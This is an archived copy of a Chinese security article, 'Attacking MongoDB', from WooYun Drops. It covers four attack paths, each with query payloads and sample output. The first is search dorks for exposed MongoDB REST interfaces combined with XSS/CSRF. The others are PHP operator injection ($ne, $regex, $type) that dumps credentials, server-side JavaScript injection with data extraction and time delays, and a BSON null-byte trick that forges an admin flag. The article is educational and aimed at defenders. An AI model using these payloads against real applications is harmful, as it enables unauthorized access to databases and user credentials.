forked from Trietptm-on-Security/WooYun-2
-
Notifications
You must be signed in to change notification settings - Fork 7
/
Attacking MongoDB.html
305 lines (191 loc) · 121 KB
/
Attacking MongoDB.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
<html>
<head>
<title>Attacking MongoDB - 瞌睡龙</title>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
</head>
<body>
<h1>原文地址:<a href="http://drops.wooyun.org/papers/850">http://drops.wooyun.org/papers/850</a></h1>
<p>
<h2>0x00 背景</h2>
<hr />
<p>本文主要来自于HITB Ezine Issue 010中的《Attacking MongoDB》</p>
<p>MongoDB是一个基于分布式文件存储的数据库。由C++语言编写。旨在为WEB应用提供可扩展的高性能数据存储解决方案。是一个介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最丰富,最像关系数据库的。他支持的数据结构非常松散,是类似json的bson格式,因此可以存储比较复杂的数据类型。Mongo最大的特点是他支持的查询语言非常强大,其语法有点类似于面向对象的查询语言,几乎可以实现类似关系数据库单表查询的绝大部分功能,而且还支持对数据建立索引。</p>
<p>开发人员使用NoSQL数据库的各种应用越来越多。 针对NoSQL的攻击方法是知之甚少,并不太常见。与SQL注入比较,本文重点介绍通过MongoDB的漏洞对Web应用程序可能的攻击。</p>
<!--more-->
<h2>0x01 攻击</h2>
<hr />
<h3>1)REST接口</h3>
<p>关注到有一个REST接口,提供一个web界面访问,默认运行在28017端口上,管理员可以用浏览器远程控制数据库,这个接口我发现了两个存储型xss以及很多的CSRF。</p>
<p>寻找方式:</p>
<p>http://www.shodanhq.com/search?q=port%3A28017</p>
<p><img src="http://static.wooyun.org/20140918/2014091811030478630.jpeg" alt="enter image description here" /></p>
<p>google搜索:</p>
<pre><code>intitle:mongo intext:"listDatabases"
</code></pre>
<p><img src="http://static.wooyun.org/20140918/2014091811030598088.jpeg" alt="enter image description here" /></p>
<p>下了最新版本的mongodb默认不是启用rest的,需要在配置文件(/etc/mongod.conf)中加入一行</p>
<pre><code>rest = true
</code></pre>
<p>才可以打开其他链接内容。</p>
<p>下图展示了攻击方法</p>
<p>插入js代码,让管理员执行,利用REST接口,执行mongodb的命令,结果返回到攻击者的服务器上。</p>
<p><img src="http://static.wooyun.org/20140918/2014091811030615821.jpeg" alt="enter image description here" /></p>
<p>例如,我利用js代码让管理员访问http://xxx.com:28017/admin/$cmd/?filter_eval=function()%7B%20return%20db.version()%20%7D&limit=1</p>
<p>返回结果:</p>
<p><img src="http://static.wooyun.org/20140918/2014091811030662369.jpeg" alt="enter image description here" /></p>
<h3>2)Apache+PHP+MongoDB</h3>
<p>一段php操作MongoDB的代码:</p>
<pre><code>#!php
$q = array("name" => $_GET['login'], "password" => $_ GET['password']);
$cursor = $collection->findOne($q);
</code></pre>
<p>这个脚本的是向MongoDB数据库请求,如果正常的话,会返回用户的数据:</p>
<pre><code>#!php
echo 'Name: ' . $cursor['name'];
echo 'Password: ' . $cursor['password'];
</code></pre>
<p>访问下面的连接</p>
<pre><code>?login=admin&password=pa77w0rd
</code></pre>
<p>数据库里的执行情况是:</p>
<pre><code>db.items.findOne({"name" :"admin", "password" : "pa77w0rd"})
</code></pre>
<p>如果数据库里存在的该用户名及密码则返回true,否则返回fales。</p>
<p>下面的数据库语句,返回的为用户不是admin的数据($ne代表不等于):</p>
<pre><code>db.items.find({"name" :{$ne : "admin"}})
</code></pre>
<p>那么在现实中的数据库操作例子通常是这样子的:</p>
<pre><code>db.items.findOne({"name" :"admin", "password" : {$ne : "1"}})
</code></pre>
<p>返回结果将是:</p>
<pre><code>{
"_id" : ObjectId("4fda5559e5afdc4e22000000"),
"name" : "admin",
"password" : "pa77w0rd"
}
</code></pre>
<p>php传入的方式为:</p>
<pre><code>#!php
$q = array("name" => "admin", "password" => array("\$ne" => "1"));
</code></pre>
<p>外界请求的参数应该为:</p>
<pre><code>?login=admin&password[$ne]=1
</code></pre>
<p>当使用正则$regex的时候,执行下列数据库语句,将会返回name中所有已y开头的数据</p>
<pre><code>db.items.find({name: {$regex: "^y"}})
</code></pre>
<p>如果请求数据的脚本换为:</p>
<pre><code>#!php
$cursor1 = $collection->find(array("login" => $user, "pass" => $pass));
</code></pre>
<p>返回结果的数据为:</p>
<pre><code>#!php
echo 'id: '. $obj2['id'] .'<br>login: '. $obj2['login'] .'<br>pass: '. $obj2['pass'] . '<br>';
</code></pre>
<p>如果想要返回所有数据的话,可以访问下面的url:</p>
<pre><code>?login[$regex]=^&password[$regex]=^
</code></pre>
<p>返回结果将会是:</p>
<pre><code>id: 1
login: Admin
pass: parol
id: 4
login: user2
pass: godloveman
id: 5
login: user3
pass: thepolice=
</code></pre>
<p>还有一种利用$type的方式:</p>
<pre><code>?login[$not][$type]=1&password[$not][$type]=1
</code></pre>
<p>官方这里有详细介绍$type的各个值代表的意思:</p>
<p><a href="http://cn.docs.mongodb.org/manual/reference/operator/query/type/">http://cn.docs.mongodb.org/manual/reference/operator/query/type/</a></p>
<p>上面语句表示获取login与password不为双精度类型的,同样会返回所有的数据。</p>
<h3>3)INJECTION MongoDB</h3>
<p>当执行的语句采用字符串拼接的时候,同样也存在注入的问题,如下代码:</p>
<pre><code>#!php
$q = "function() { var loginn = '$login'; var passs = '$pass'; db.members.insert({id : 2, login : loginn, pass : passs}); }";
</code></pre>
<p>当$login与$pass是直接从外界提交到参数获取:</p>
<pre><code>$login = $_GET['login'];
$pass = $_GET['password'];
</code></pre>
<p>并且没有任何过滤,直接带入查询:</p>
<pre><code>#!php
$db->execute($q);
$cursor1 = $collection->find(array("id" => 2));
foreach($cursor1 as $obj2){
echo "Your login:".$obj2['login'];
echo "<br>Your password:".$obj2['pass'];
}
</code></pre>
<p>输入测试数据:</p>
<pre><code>?login=user&password=password
</code></pre>
<p>返回结果将是:</p>
<pre><code>Your login: user
Your password: password
</code></pre>
<p>输入</p>
<pre><code>?login=user&password=';
</code></pre>
<p>页面将会返回报错。</p>
<p>输入</p>
<pre><code>/?login=user&password=1'; var a = '1
</code></pre>
<p>页面返回正常,如何注入出数据呢:</p>
<pre><code>?login=user&password=1'; var loginn = db.version(); var b='
</code></pre>
<p>看一下返回结果:</p>
<p><img src="http://static.wooyun.org/20140918/2014091811030754801.jpeg" alt="enter image description here" /></p>
<p>带入实际中$q是变为:</p>
<pre><code>#!php
$q = "function() { var loginn = user; var passs = '1'; var loginn = db.version(); var b=''; db.members.insert({id : 2, login : loginn, pass : passs}); }"
</code></pre>
<p>获取其他数据的方法:</p>
<pre><code> /?login=user&password= '; var loginn = tojson(db.members.find()[0]); var b='2
</code></pre>
<p>给loginn重新赋值,覆盖原来的user内容,tojson函数帮助获取到完整的数据信息,否则的话将会接收到一个Array。</p>
<p>最重要的部分是db.memeber.find()[0],member是一个表,find函数是获取到所有内容,[0]表示获取第一个数组内,可以递增获取所有的内容。</p>
<p>当然也有可能遇到没有返回结果的时候,经典的时间延迟注入也可以使用:</p>
<pre><code>?login=user&password='; if (db.version() > "2") { sleep(10000); exit; } var loginn =1; var b='2
</code></pre>
<h3>4)BSON</h3>
<p>BSON(Binary Serialized Document Format)是一种类json的一种二进制形式的存储格式,简称Binary JSON,它和JSON一样,支持内嵌的文档对象和数组对象,但是BSON有JSON没有的一些数据类型,如Date和BinData类型。</p>
<p>默认test表中有两条数据:</p>
<pre><code>> db.test.find({})
{ "_id" : ObjectId("52cfa5c9e085a58263f183f9"), "name" : "admin", "isadmin" : true }
{ "_id" : ObjectId("52cfa5e4e085a58263f183fa"), "name" : "noadmin", "isadmin" : false }
</code></pre>
<p>再插入一条:</p>
<pre><code>> db.test.insert({ "name" : "noadmin2", "isadmin" : false})
</code></pre>
<p>然后查询看结果:</p>
<pre><code>> db.test.find({})
{ "_id" : ObjectId("52cfa5c9e085a58263f183f9"), "name" : "admin", "isadmin" : true }
{ "_id" : ObjectId("52cfa5e4e085a58263f183fa"), "name" : "noadmin", "isadmin" : false }
{ "_id" : ObjectId("52cfa92ce085a58263f183fb"), "name" : "noadmin2", "isadmin" : false }
</code></pre>
<p>再插入一条列名为BSON对象的数据:</p>
<pre><code>db.test.insert({ "name\x16\x00\x08isadmin\x00\x01\x00\x00\x00\x00\x00" : "noadmin2", "isadmin" : false})
</code></pre>
<p>isadmin之前的0x08是指该数据类型是布尔型,后面的0x01是把这个值设定为1。</p>
<p>这时再查询就回发现isadmin变为的true:</p>
<pre><code>> db.test.find({})
{ "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" : "admin", "isadmin" : true }
{ "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" : "noadmin", "isadmin" : false }
{ "_id" : ObjectId("5044ebf6a91b02e9a9b065e3"), "name" : null, "isadmin" : true, "isadmin" : true }
</code></pre>
<p>不过测试最新版的mongodb中,禁止了空字符。</p>
<p><img src="http://static.wooyun.org/20140918/2014091811030731577.jpeg" alt="enter image description here" /></p>
<p>当然了 我也觉得此类攻击有点YY。。。</p>
<h2>0x02 总结</h2>
<hr />
<p>本文列举了四种攻击mongodb的方式。</p>
<p>当然这并不是安全否认mongodb的安全性,只是构造了集中可能存在攻击的场景。</p>
<p>希望大家看到后能够自查一下,以免受到攻击。</p>
<p>还有一些wofeiwo在2011年的时候就已经写过:</p>
<p><a href="http://www.phpweblog.net/GaRY/archive/2011/08/18/Mongodb_secuirty_anaylze.html">Mongodb安全性初探</a></p> </p>
</body>
</html>